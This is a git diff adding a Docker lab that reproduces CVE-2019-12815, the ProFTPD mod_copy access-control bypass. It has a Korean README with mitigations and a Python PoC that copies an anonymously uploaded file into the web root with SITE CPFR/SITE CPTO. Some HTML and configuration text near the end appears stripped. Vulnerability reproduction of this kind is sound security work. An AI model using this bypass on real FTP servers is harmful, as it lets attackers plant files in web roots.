diff --git a/ProFTPD/CVE-2019-12815/Dockerfile b/ProFTPD/CVE-2019-12815/Dockerfile new file mode 100644 index 000000000..68d0f4deb --- /dev/null +++ b/ProFTPD/CVE-2019-12815/Dockerfile @@ -0,0 +1,87 @@ +# syntax=docker/dockerfile:1 + +FROM debian:12.11-slim@sha256:cea2634840f5a87503d8210e4df97b9f23a2acd67ff860a76c133d963032f866 AS ftp-builder + +ARG DEBIAN_FRONTEND=noninteractive +ARG PROFTPD_REPO=https://github.com/proftpd/proftpd.git +ARG PROFTPD_COMMIT=4bc883f8764b78e1a239f138adff8b8e6d0bf268 + +RUN apt-get update \ + && apt-get install -y --no-install-recommends \ + ca-certificates \ + git \ + build-essential \ + libcrypt-dev \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /usr/src/proftpd + +RUN git init . \ + && git remote add origin "${PROFTPD_REPO}" \ + && git fetch --depth 1 origin "${PROFTPD_COMMIT}" \ + && git checkout --detach "${PROFTPD_COMMIT}" \ + && test "$(git rev-parse HEAD)" = "${PROFTPD_COMMIT}" + +RUN ./configure \ + --prefix=/usr/local \ + --sysconfdir=/etc/proftpd \ + --localstatedir=/run/proftpd \ + --disable-auth-pam \ + --with-modules=mod_copy \ + && make -j"$(nproc)" \ + && make install DESTDIR=/opt/proftpd-root + +RUN mkdir -p /opt/proftpd-root/usr/local/share \ + && git rev-parse HEAD > /opt/proftpd-root/usr/local/share/proftpd-source.commit \ + && git archive --format=tar --prefix=proftpd-1.3.5b/ HEAD \ + | sha256sum > /opt/proftpd-root/usr/local/share/proftpd-source.tar.sha256 + + +FROM debian:12.11-slim@sha256:cea2634840f5a87503d8210e4df97b9f23a2acd67ff860a76c133d963032f866 AS ftp + +ARG DEBIAN_FRONTEND=noninteractive + +RUN apt-get update \ + && apt-get install -y --no-install-recommends \ + bash \ + ca-certificates \ + coreutils \ + libcrypt1 \ + netbase \ + passwd \ + && rm -rf /var/lib/apt/lists/* \ + && if ! getent group ftp >/dev/null; then groupadd --system ftp; fi \ + && if ! getent passwd ftp >/dev/null; then useradd --system --gid ftp --home-dir /srv/ftp --shell /usr/sbin/nologin ftp; fi + +COPY --from=ftp-builder /opt/proftpd-root/ / +COPY proftpd.conf /etc/proftpd/proftpd.conf +COPY entrypoint.sh /usr/local/sbin/entrypoint.sh + +RUN chmod 0755 /usr/local/sbin/entrypoint.sh \ + && mkdir -p /srv/ftp/var/www/html /run/proftpd + +EXPOSE 21 80 30000-30009 + +ENTRYPOINT ["/usr/local/sbin/entrypoint.sh"] + + +FROM php:8.2.29-apache-bookworm@sha256:bb954ec03238abf760e91a3fa74202f192d644be12bd4bda5bac577997a76466 AS web + +RUN mkdir -p /var/www/html + +COPY web-entrypoint.sh /usr/local/bin/web-entrypoint.sh + +RUN chmod 0755 /usr/local/bin/web-entrypoint.sh + +EXPOSE 80 + +ENTRYPOINT ["/usr/local/bin/web-entrypoint.sh"] +CMD ["apache2-foreground"] + + +FROM python:3.12.10-slim-bookworm@sha256:97983fa8cc88343512862c62307159a82261c3528dc025f79e5a3f7af43e50b4 AS poc + +WORKDIR /app +COPY poc.py /app/poc.py + +CMD ["python3", "-c", "import time; time.sleep(31536000)"] diff --git a/ProFTPD/CVE-2019-12815/README.md b/ProFTPD/CVE-2019-12815/README.md new file mode 100644 index 000000000..30dec9a23 --- /dev/null +++ b/ProFTPD/CVE-2019-12815/README.md @@ -0,0 +1,324 @@ +# CVE-2019-12815 Proof-of-Concept Lab + +## 1. 취약점 요약 + +- CVE 번호: CVE-2019-12815 +- 대상: ProFTPD 1.3.5b +- 취약 구성: `mod_copy` 모듈 사용 +- 취약점 성격: `SITE CPFR` / `SITE CPTO` 명령 처리 과정의 접근통제 우회 + +본 실습에서는 ProFTPD 1.3.5b에서 `mod_copy`가 활성화된 경우, anonymous FTP 사용자가 일반 FTP 업로드로는 쓸 수 없는 웹 루트에 파일을 복사할 수 있음을 확인한다. + +확인한 내용은 다음과 같다. + +- anonymous FTP 사용자는 `/incoming` 디렉터리에 `proof.html`을 업로드할 수 있다. +- `/var/www/html/proof.html`에는 일반 `STOR` 방식으로 직접 쓸 수 없다. +- 그러나 `SITE CPFR` / `SITE CPTO` 명령을 이용하면 `/incoming/proof.html`을 `/var/www/html/proof.html`로 복사할 수 있다. +- 이후 HTTP로 `http://127.0.0.1:8080/proof.html`에 접근하여 복사 결과를 확인할 수 있다. + +## 2. 환경 구성 + +본 실습 환경은 로컬 Docker Compose 기반으로 구성되어 있다. + +주요 파일은 다음과 같다. + +- `Dockerfile`: FTP, 웹, PoC 실행 환경을 빌드한다. +- `docker-compose.yml`: `ftp`, `web`, `poc` 서비스를 정의한다. +- `proftpd.conf`: ProFTPD 설정과 anonymous FTP 접근 제어를 정의한다. +- `entrypoint.sh`: FTP 컨테이너 시작 시 필요한 디렉터리와 권한을 준비한다. +- `web-entrypoint.sh`: 웹 기본 페이지를 준비한다. +- `poc.py`: 수동 재현 절차를 자동화한 PoC 코드이다. + +서비스 구성은 다음과 같다. + +- `ftp`: ProFTPD 1.3.5b 기반 취약 FTP 환경 +- `web`: `proof.html`을 확인하는 HTTP 서버 +- `poc`: 자동 PoC 수행을 위한 구성 요소 + +외부에서 접근하는 포트는 다음과 같다. + +- FTP: `127.0.0.1:2121` +- HTTP: `127.0.0.1:8080` +- FTP passive ports: `127.0.0.1:30000-30009` + +웹 기본 페이지는 다음 주소에서 확인한다. + +```text +http://127.0.0.1:8080/ +``` + +웹 기본 페이지에는 다음 제목과 안내 문구가 표시된다. + +```text +CVE-2019-12815 Proof-of-Concept Lab +PoC result path: /proof.html +``` + +## 3. 취약 조건 + +본 실습의 취약 조건은 다음과 같다. + +- ProFTPD 1.3.5b 사용 +- `mod_copy` 모듈 활성화 +- anonymous FTP 로그인 허용 +- `/incoming` 디렉터리는 업로드 가능 +- `/var/www/html` 디렉터리는 일반 `STOR` 방식으로 직접 쓰기 불가 +- `SITE CPFR` / `SITE CPTO` 명령을 통한 파일 복사가 가능한 상태 + +핵심 비교는 다음과 같다. + +```text +일반 STOR로 웹 루트 쓰기: 실패 +mod_copy의 SITE CPFR / SITE CPTO를 통한 웹 루트 복사: 성공 +``` + +이 비교를 통해 일반 업로드에 대한 접근통제는 적용되지만, `mod_copy`의 서버 측 복사 기능을 통해 같은 대상 경로로 파일이 복사되는 것을 확인한다. + +## 4. 재현 절차 + +### 4.1 기존 환경 초기화 + +이 단계는 이전 실습에서 생성된 `proof.html`이 Docker volume에 남아 PoC 전 404 확인을 방해하지 않도록 초기화하는 절차이다. + +```bash +docker compose down -v --remove-orphans +``` + +### 4.2 이미지 빌드 및 컨테이너 실행 + +```bash +docker compose build --no-cache ftp web poc +``` + +```bash +docker compose up -d ftp web +``` + +```bash +docker compose ps +``` + +### 4.3 웹 기본 페이지 확인 + +```bash +curl -i http://127.0.0.1:8080/ +``` + +또는 브라우저에서 다음 주소로 접속한다. + +```text +http://127.0.0.1:8080/ +``` + +정상 상태에서는 `CVE-2019-12815 Proof-of-Concept Lab` 페이지가 표시되어야 한다. + +### 4.4 PoC 전 proof.html 미존재 확인 + +```bash +curl -i http://127.0.0.1:8080/proof.html +``` + +또는 브라우저에서 다음 주소로 접속한다. + +```text +http://127.0.0.1:8080/proof.html +``` + +PoC 수행 전에는 다음과 같이 존재하지 않는 페이지로 확인되어야 한다. + +```text +404 Not Found +``` + +### 4.5 proof.html 생성 + +`proof.html`은 제출물에 미리 포함된 파일이 아니라, 재현 과정에서 사용자가 생성하거나 `poc.py`가 업로드하는 결과 파일이다. 수동 재현에서는 다음과 같이 로컬에 파일을 생성한다. + +```bash +cat > proof.html <<'EOF' +KR-VULHUB-CVE-2019-12815-PROOF +EOF +``` + +```bash +cat proof.html +``` + +기대 결과는 다음과 같다. + +```text +KR-VULHUB-CVE-2019-12815-PROOF +``` + +### 4.6 FTP 접속 및 /incoming 업로드 + +FTP에 passive mode로 접속한다. + +```bash +ftp -p 127.0.0.1 2121 +``` + +로그인 정보는 다음과 같다. + +```text +Name: anonymous +Password: anonymous@example.com +``` + +FTP 접속 후 다음 명령으로 `/incoming`에 `proof.html`을 업로드한다. + +```text +cd /incoming +pwd +put proof.html +ls +``` + +`/incoming`은 anonymous 사용자가 업로드할 수 있는 허용된 경로이다. `proof.html` 업로드와 `ls` 확인이 성공해야 한다. + +### 4.7 웹 루트 직접 쓰기 실패 확인 + +FTP 세션에서 다음과 같이 웹 루트로 직접 업로드를 시도한다. + +```text +put proof.html /var/www/html/proof.html +``` + +기대 결과는 다음과 같다. + +```text +550 /var/www/html/proof.html: Operation not permitted +``` + +일반 `STOR` 방식으로는 `/var/www/html/proof.html`에 직접 쓸 수 없음을 확인한다. 이 단계는 웹 루트에 대한 쓰기 접근통제가 적용되고 있음을 보여주는 비교 기준이다. + +### 4.8 SITE CPFR / SITE CPTO로 웹 루트 복사 + +같은 FTP 세션에서 `SITE CPFR` / `SITE CPTO`를 사용해 `/incoming/proof.html`을 웹 루트로 복사한다. + +```text +quote SITE CPFR /incoming/proof.html +quote SITE CPTO /var/www/html/proof.html +``` + +기대 결과는 다음과 같다. + +```text +350 File or directory exists, ready for destination name +250 Copy successful +``` + +일반 `STOR`는 거부되었지만, `mod_copy` 명령인 `SITE CPFR` / `SITE CPTO`를 사용하면 웹 루트로 파일 복사가 성공한다. 이 단계가 CVE-2019-12815 재현의 핵심이다. + +### 4.9 PoC 후 proof.html 확인 + +```bash +curl -i http://127.0.0.1:8080/proof.html +``` + +또는 브라우저에서 다음 주소로 접속한다. + +```text +http://127.0.0.1:8080/proof.html +``` + +기대 결과에는 다음 문자열이 포함되어야 한다. + +```text +KR-VULHUB-CVE-2019-12815-PROOF +``` + +## 5. PoC 코드 + +`poc.py`는 위 수동 재현 절차를 자동화한 PoC 코드이다. 전체 코드는 `poc.py`에 포함되어 있다. + +`poc.py`가 수행하는 주요 흐름은 다음과 같다. + +- FTP 서비스 준비 여부 확인 +- HTTP 기본 페이지 확인 +- PoC 전 `/proof.html` 404 확인 +- FTP anonymous 로그인 +- `/incoming/proof.html` 업로드 +- `/var/www/html/proof.html` 직접 `STOR` 실패 확인 +- `SITE CPFR` / `SITE CPTO` 수행 +- HTTP로 `/proof.html` 접근 +- `KR-VULHUB-CVE-2019-12815-PROOF` 문자열 확인 + +자동 PoC는 로컬 기준으로 다음 상태에서 수행한다. + +```bash +docker compose up -d ftp web +``` + +자동 PoC 수행 방법은 다음과 같다. + +```bash +python3 poc.py +``` + +`poc.py` 출력 또는 생성된 HTML에 `run-token`이 포함되는 경우가 있다. `run-token`은 이전 결과와 이번 결과를 구분하기 위해 `poc.py`가 생성하는 실행별 식별자이다. 고정 proof 문자열과 `run-token`이 함께 보이면 이번 수행에서 생성된 결과임을 확인할 수 있다. + +## 6. 실행 결과 + +### 6.1 기본 페이지 확인 + + + +`http://127.0.0.1:8080/`에서 `CVE-2019-12815 Proof-of-Concept Lab` 페이지가 표시된다. + +### 6.2 PoC 전 proof.html 404 확인 + + + +PoC 수행 전에는 `http://127.0.0.1:8080/proof.html`이 존재하지 않아 `404 Not Found`가 표시된다. + +### 6.3 proof.html 생성 확인 + + + +로컬에서 `proof.html`을 생성하고 `KR-VULHUB-CVE-2019-12815-PROOF` 문자열이 포함되어 있음을 확인한다. + +### 6.4 /incoming 업로드 확인 + + + +anonymous FTP로 접속하여 `/incoming` 디렉터리에 `proof.html`을 업로드하고 `ls`로 파일 존재를 확인한다. + +### 6.5 웹 루트 직접 쓰기 실패 확인 + + + +일반 `STOR` 방식으로 `/var/www/html/proof.html`에 직접 업로드를 시도했지만 `550 Operation not permitted`로 거부되었다. + +### 6.6 SITE CPFR / SITE CPTO 성공 확인 + + + +`SITE CPFR /incoming/proof.html` 및 `SITE CPTO /var/www/html/proof.html` 명령을 통해 파일 복사가 성공하였다. + +### 6.7 PoC 후 proof.html 접근 성공 + + + +`http://127.0.0.1:8080/proof.html`에서 `KR-VULHUB-CVE-2019-12815-PROOF` 문자열이 표시된다. + +실행 결과 요약은 다음과 같다. + +```text +PoC 전 /proof.html은 404 Not Found +/incoming에는 proof.html 업로드 가능 +/var/www/html/proof.html 직접 쓰기는 550 Operation not permitted로 실패 +SITE CPFR / SITE CPTO는 성공 +PoC 후 /proof.html에서 KR-VULHUB-CVE-2019-12815-PROOF 문자열 확인 +``` + +## 7. 대응 방안 + +- 취약 버전 사용 중단 및 보안 패치 적용 +- ProFTPD 최신 안정 버전 사용 +- `mod_copy`가 필요하지 않으면 비활성화 +- anonymous FTP 권한 최소화 +- FTP 업로드 경로와 웹 루트 분리 +- 웹 루트 쓰기 권한 제한 +- `SITE CPFR` / `SITE CPTO` 사용 여부 점검 +- FTP 로그에서 비정상적인 `SITE` 명령 사용 여부 모니터링 diff --git a/ProFTPD/CVE-2019-12815/docker-compose.yml b/ProFTPD/CVE-2019-12815/docker-compose.yml new file mode 100644 index 000000000..4db3a6d49 --- /dev/null +++ b/ProFTPD/CVE-2019-12815/docker-compose.yml @@ -0,0 +1,69 @@ +services: + ftp: + build: + context: . + dockerfile: Dockerfile + target: ftp + volumes: + - webroot:/srv/ftp/var/www/html + expose: + - "21" + - "80" + - "30000-30009" + ports: + - "127.0.0.1:2121:21" + - "127.0.0.1:8080:80" + - "127.0.0.1:30000-30009:30000-30009" + healthcheck: + test: + - CMD-SHELL + - "timeout 5 bash -c 'exec 3<>/dev/tcp/127.0.0.1/21; IFS= read -r line <&3; [[ \"$$line\" == 220* ]]'" + interval: 5s + timeout: 5s + retries: 20 + start_period: 10s + + web: + build: + context: . + dockerfile: Dockerfile + target: web + network_mode: "service:ftp" + volumes: + - webroot:/var/www/html + depends_on: + ftp: + condition: service_healthy + healthcheck: + test: + - CMD-SHELL + - "php -r '$$c=@file_get_contents(\"http://127.0.0.1/\"); exit($$c !== false && str_contains($$c, \"CVE-2019-12815 Proof-of-Concept Lab\") ? 0 : 1);'" + interval: 5s + timeout: 5s + retries: 20 + start_period: 10s + + poc: + build: + context: . + dockerfile: Dockerfile + target: poc + network_mode: "service:ftp" + environment: + FTP_HOST: "127.0.0.1" + HTTP_HEALTH_URL: "http://127.0.0.1/" + HTTP_BASE_URL: "http://127.0.0.1" + depends_on: + ftp: + condition: service_healthy + web: + condition: service_healthy + +volumes: + webroot: + +networks: + default: + driver: bridge + driver_opts: + com.docker.network.bridge.enable_icc: "true" diff --git a/ProFTPD/CVE-2019-12815/entrypoint.sh b/ProFTPD/CVE-2019-12815/entrypoint.sh new file mode 100755 index 000000000..441633945 --- /dev/null +++ b/ProFTPD/CVE-2019-12815/entrypoint.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +set -Eeuo pipefail + +ftp_root=/srv/ftp +secret_file="${ftp_root}/private/secret.txt" +secret_value=KR-VULHUB-CVE-2019-12815-SECRET +web_root="${ftp_root}/var/www/html" + +getent group ftp >/dev/null +getent passwd ftp >/dev/null + +mkdir -p \ + "${ftp_root}/private" \ + "${ftp_root}/public" \ + "${ftp_root}/incoming" \ + "${web_root}" \ + /run/proftpd \ + /var/log/proftpd + +if [ -f "${secret_file}" ]; then + current_secret="$(tr -d '\r\n' < "${secret_file}")" + if [ "${current_secret}" != "${secret_value}" ]; then + printf 'Unexpected secret file content in %s\n' "${secret_file}" >&2 + exit 1 + fi +else + printf '%s\n' "${secret_value}" > "${secret_file}" +fi + +chown root:ftp "${ftp_root}" "${ftp_root}/private" "${secret_file}" +chmod 0755 "${ftp_root}" +chmod 0750 "${ftp_root}/private" +chmod 0640 "${secret_file}" + +chown ftp:ftp "${ftp_root}/public" "${ftp_root}/incoming" "${ftp_root}/var" "${ftp_root}/var/www" "${web_root}" +chmod 0755 "${ftp_root}/public" "${ftp_root}/incoming" "${ftp_root}/var" "${ftp_root}/var/www" "${web_root}" +chown root:root /var/log/proftpd +chmod 0755 /var/log/proftpd + +find "${web_root}" -type d -exec chmod 0755 {} + +find "${web_root}" -type f -exec chmod 0644 {} + + +/usr/local/sbin/proftpd -t -c /etc/proftpd/proftpd.conf + +exec /usr/local/sbin/proftpd -n -c /etc/proftpd/proftpd.conf diff --git a/ProFTPD/CVE-2019-12815/images/1.png b/ProFTPD/CVE-2019-12815/images/1.png new file mode 100644 index 000000000..0dd6ba7ad Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/1.png differ diff --git a/ProFTPD/CVE-2019-12815/images/2.png b/ProFTPD/CVE-2019-12815/images/2.png new file mode 100644 index 000000000..7acf19298 Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/2.png differ diff --git a/ProFTPD/CVE-2019-12815/images/3.png b/ProFTPD/CVE-2019-12815/images/3.png new file mode 100644 index 000000000..08c90414e Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/3.png differ diff --git a/ProFTPD/CVE-2019-12815/images/4.png b/ProFTPD/CVE-2019-12815/images/4.png new file mode 100644 index 000000000..3d4ad88b8 Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/4.png differ diff --git a/ProFTPD/CVE-2019-12815/images/5.png b/ProFTPD/CVE-2019-12815/images/5.png new file mode 100644 index 000000000..1892790a4 Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/5.png differ diff --git a/ProFTPD/CVE-2019-12815/images/6.png b/ProFTPD/CVE-2019-12815/images/6.png new file mode 100644 index 000000000..c9449130e Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/6.png differ diff --git a/ProFTPD/CVE-2019-12815/images/7.png b/ProFTPD/CVE-2019-12815/images/7.png new file mode 100644 index 000000000..f58731518 Binary files /dev/null and b/ProFTPD/CVE-2019-12815/images/7.png differ diff --git a/ProFTPD/CVE-2019-12815/poc.py b/ProFTPD/CVE-2019-12815/poc.py new file mode 100644 index 000000000..56ff9d16a --- /dev/null +++ b/ProFTPD/CVE-2019-12815/poc.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python3 +import ftplib +import io +import os +import secrets +import socket +import sys +import time +import urllib.error +import urllib.request + + +FTP_HOST = os.environ.get("FTP_HOST", "127.0.0.1") +FTP_PORT = int(os.environ.get("FTP_PORT", "2121")) +FTP_USER = os.environ.get("FTP_USER", "anonymous") +FTP_PASS = os.environ.get("FTP_PASS", "anonymous@example.invalid") +HTTP_BASE_URL = os.environ.get("HTTP_BASE_URL", "http://127.0.0.1:8080") +HTTP_HEALTH_URL = os.environ.get("HTTP_HEALTH_URL", "http://127.0.0.1:8080/") +PROOF_MARKER = "KR-VULHUB-CVE-2019-12815-PROOF" +INDEX_MARKER = "CVE-2019-12815 Proof-of-Concept Lab" +TIMEOUT = 60 + + +class StepError(Exception): + pass + + +def info(message): + print(f"[+] {message}", flush=True) + + +def fail(message): + print(f"[-] {message}", file=sys.stderr, flush=True) + + +def wait_for_ftp(): + deadline = time.monotonic() + TIMEOUT + last_error = None + while time.monotonic() < deadline: + try: + with socket.create_connection((FTP_HOST, FTP_PORT), timeout=3) as sock: + sock.settimeout(3) + greeting = sock.recv(1024).decode("utf-8", "replace").strip() + if greeting.startswith("220"): + info("FTP service is ready") + return + last_error = f"unexpected greeting: {greeting!r}" + except OSError as exc: + last_error = repr(exc) + time.sleep(1) + raise StepError( + f"FTP service did not become ready at {FTP_HOST}:{FTP_PORT}: {last_error}" + ) + + +def wait_for_http(): + deadline = time.monotonic() + TIMEOUT + last_error = None + while time.monotonic() < deadline: + try: + with urllib.request.urlopen(HTTP_HEALTH_URL, timeout=3) as response: + body = response.read().decode("utf-8", "replace") + if response.status == 200 and INDEX_MARKER in body: + info("HTTP service is ready") + return + last_error = f"status={response.status}, body={body!r}" + except (OSError, urllib.error.URLError) as exc: + last_error = repr(exc) + time.sleep(1) + raise StepError(f"HTTP service did not become ready at {HTTP_HEALTH_URL}: {last_error}") + + +def ensure_http_missing(url): + try: + with urllib.request.urlopen(url, timeout=10) as response: + body = response.read().decode("utf-8", "replace") + except urllib.error.HTTPError as exc: + if exc.code == 404: + info(f"HTTP proof page is absent before PoC as expected: {url}") + return + raise StepError( + f"HTTP proof pre-check returned unexpected status at {url}: {exc.code}" + ) from exc + except (OSError, urllib.error.URLError) as exc: + raise StepError(f"HTTP proof pre-check failed at {url}: {exc!r}") from exc + + raise StepError( + f"HTTP proof page already exists before PoC at {url}: " + f"status={response.status}, body={body!r}" + ) + + +def expect_ftp_denied(label, action): + try: + action() + except ftplib.error_perm as exc: + response = str(exc) + if response.startswith(("550", "553")): + info(f"{label} denied as expected: {response}") + return response + raise StepError(f"{label} returned unexpected FTP error: {response}") from exc + raise StepError(f"{label} succeeded unexpectedly") + + +def require_response(label, response, expected_prefix): + if not response.startswith(expected_prefix): + raise StepError( + f"{label} returned unexpected response: expected {expected_prefix!r}, got {response!r}" + ) + info(f"{label}: {response}") + + +def retr_text(ftp, path): + output = io.BytesIO() + ftp.retrbinary(f"RETR {path}", output.write) + return output.getvalue().decode("utf-8", "replace") + + +def make_proof_html(token): + return ( + "\n" + "\n" + "
run-token: {token}
\n" + "\n" + "\n" + ).encode("utf-8") + + +def main(): + token = secrets.token_hex(8) + incoming_path = "/incoming/proof.html" + webroot_path = "/var/www/html/proof.html" + http_proof_url = f"{HTTP_BASE_URL.rstrip('/')}/proof.html" + proof_html = make_proof_html(token) + + wait_for_http() + ensure_http_missing(http_proof_url) + wait_for_ftp() + + with ftplib.FTP(timeout=10) as ftp: + ftp.connect(FTP_HOST, FTP_PORT, timeout=10) + ftp.set_pasv(True) + login_response = ftp.login(FTP_USER, FTP_PASS) + info(f"FTP login succeeded as {FTP_USER!r}: {login_response}") + + upload_response = ftp.storbinary(f"STOR {incoming_path}", io.BytesIO(proof_html)) + require_response("Proof uploaded to /incoming/proof.html", upload_response, "226") + + expect_ftp_denied( + "Direct STOR to /var/www/html", + lambda: ftp.storbinary(f"STOR {webroot_path}", io.BytesIO(proof_html)), + ) + + response = ftp.sendcmd(f"SITE CPFR {incoming_path}") + require_response("SITE CPFR incoming source accepted", response, "350") + + response = ftp.sendcmd(f"SITE CPTO {webroot_path}") + require_response("SITE CPTO webroot copy succeeded", response, "250") + + try: + with urllib.request.urlopen(http_proof_url, timeout=10) as response: + body = response.read().decode("utf-8", "replace") + if response.status != 200: + raise StepError( + f"HTTP proof status mismatch at {http_proof_url}: {response.status}" + ) + except (OSError, urllib.error.URLError) as exc: + raise StepError(f"HTTP proof request failed at {http_proof_url}: {exc!r}") from exc + + if PROOF_MARKER not in body: + raise StepError(f"HTTP proof marker missing from response: {body!r}") + info("HTTP proof marker verified") + + if token not in body: + raise StepError(f"HTTP proof token missing from response: {body!r}") + info("HTTP proof content freshness verified") + info("CVE-2019-12815 reproduced successfully") + + +if __name__ == "__main__": + try: + main() + except Exception as exc: + fail(f"{exc.__class__.__name__}: {exc}") + sys.exit(1) diff --git a/ProFTPD/CVE-2019-12815/proftpd.conf b/ProFTPD/CVE-2019-12815/proftpd.conf new file mode 100644 index 000000000..28343e28b --- /dev/null +++ b/ProFTPD/CVE-2019-12815/proftpd.conf @@ -0,0 +1,64 @@ +ServerName "KR Vulhub CVE-2019-12815 Lab" +ServerType standalone +DefaultServer on + +Port 21 +UseIPv6 off +UseReverseDNS off +IdentLookups off +PassivePorts 30000 30009 + +User ftp +Group ftp +Umask 022 +MaxInstances 20 +RequireValidShell off +AllowOverwrite on +RootLogin off + +PidFile /run/proftpd/proftpd.pid +ScoreboardFile /run/proftpd/proftpd.scoreboard +SystemLog /var/log/proftpd/proftpd.log +TransferLog /var/log/proftpd/xferlog + +CopyEngine on + +PoC result path: /proof.html
+ + +HTML +fi + +exec docker-php-entrypoint "$@"